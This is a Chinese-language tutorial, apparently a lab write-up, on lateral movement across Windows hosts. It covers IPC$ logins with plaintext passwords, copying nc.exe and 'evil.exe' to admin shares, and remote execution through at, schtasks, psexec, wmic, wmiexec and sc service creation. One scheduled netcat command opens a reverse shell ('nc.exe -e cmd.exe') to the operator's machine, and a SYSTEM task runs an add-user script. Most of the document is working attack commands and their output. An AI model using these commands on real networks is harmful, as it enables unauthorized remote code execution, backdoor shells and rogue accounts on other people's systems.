一、IPC$登录以及文件的上传与下载

尝试IPC连接

出现了如下的错误,很有可能没有开启IPC共享

1
2
System error 1312 has occurred.
A specified logon session does not exist. It may already have been terminated

连接成功

1
2
3
C:\Users\evi1ox\Desktop>net use \\10.10.10.21\IPC$ 123456 /user:administrator
net use \\10.10.10.21\IPC$ 123456 /user:administrator
命令成功完成。

文件上传

1
2
3
C:\Users\evi1ox\Desktop>copy nc.exe \\10.10.10.21\C$\
copy nc.exe \\10.10.10.21\C$\
已复制         1 个文件。

文件下载

1
2
3
C:\Users\evi1ox\Desktop>copy \\10.10.10.21\C$\windows\system32\cmd.exe cmd.exe
copy \\10.10.10.21\C$\windows\system32\cmd.exe cmd.exe
已复制         1 个文件。

二、命令执行

2.1 计划任务之AT命令

1
2
3
4
5
at \\10.10.10.21
net time \\10.10.10.21
copy evil.exe \\[HOST]\c$\windows\temp\evil.exe
at \\10.10.10.21 18:51 C:\\nc.exe -e cmd.exe 10.10.10.2 2333
at \\10.10.10.21 [id] /delete

2.2 schtasks

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
命令
schtasks /create /s 10.10.10.19 /u Administrator /p x /ru "SYSTEM" /tn adduser /sc DAILY /st 19:39 /tr c:\\add.bat /F
结果
SUCCESS: The scheduled task "adduser" has successfully been created.

命令
schtasks /run /s 10.10.10.19 /u Administrator /p x /tn adduser
schtasks /delete /tn adduser /f /s [HOST]  # 清除 adduser
结果
SUCCESS: Attempted to run the scheduled task "adduser".

优缺点对比
>2003测试失败
>at命令很容易将计划任务安排到第二天去,哈哈你懂得
>schtasks虽然强大,但是命令极为复杂

2.3 psexec

1
2
psexec \\10.10.10.19 C:\add.bat
psexec.exe \\[HOST] –accepteula -u [USERNAME] -p [PASSWORD] -c evil.exe

可能失败原因
* psexec需要对方开启ADMIN$共享
* 而且需要安装服务,默认关闭
* psexec退出时有可能服务删除失败

2.4 srv

srv获取交互式shell
笔者的srv.exe始终没有上传成功(不能复制exe文件,或者有杀毒软件),导致使用失败

1
2
at \\10.10.10.19 20:09 srv.exe
telnet 10.10.10.19 5188(书上说端口是99,我看了看~~~其实是5188端口)

本地测试成功,获取交互式shell
限制:很多win服务器没有开启telnet客户端服务

2.5 WMI

1
2
3
wmic /node:10.10.10.21 /user:administrator /password:123456 process call create C:\add.bat
wmic /node:[HOST] /user:administrator /p [PASSWORD] process call create c:\windows\temp\evil.exe
wmiexec.py administrator:password@10.10.10.21



WMIEXEC.vbs获取半交互式shell

1
2
cscript.exe //nologo wmiexec.vbs /shell 10.10.10.21 Administrator 123456
cscript.exe wmiexec.vbs /cmd 10.10.10.21 administrator 123456 "ipconfig"

2.6 其他

PsRemoting远程命令执行基于WinRM,WinRM指的是Windows远程管理服务,它会监听http(5985);https(5986)端口,Windows Server2012中该功能是默认启动,但2008或2008 R2则默认是禁用的,但是不排除管理员为了方便他们对服务器进行远程管理,会将这个端口开启。

条件:两台电脑在相同域或信任域内的指定电脑
通过Enable-PSRemoting打开PS远程管理,启动了Kerberos认证
Enter-PSSession 10.10.10.19 -Credential administrator

1
2
3
4
5
6
7
8
(1). 系统权限(其中test为服务名)
 sc \\[HOST] create boom binpath= c:\evil.exe
 sc \\[HOST] start boom
 sc \\[HOST] delete boom

(2). 指定用户权限启动
 sc \\[HOST] create boom binpath= c:\evil.exe obj= [DOMAIN]\administrator passwrod= [PASSWORD]
 sc \\[HOST] start boom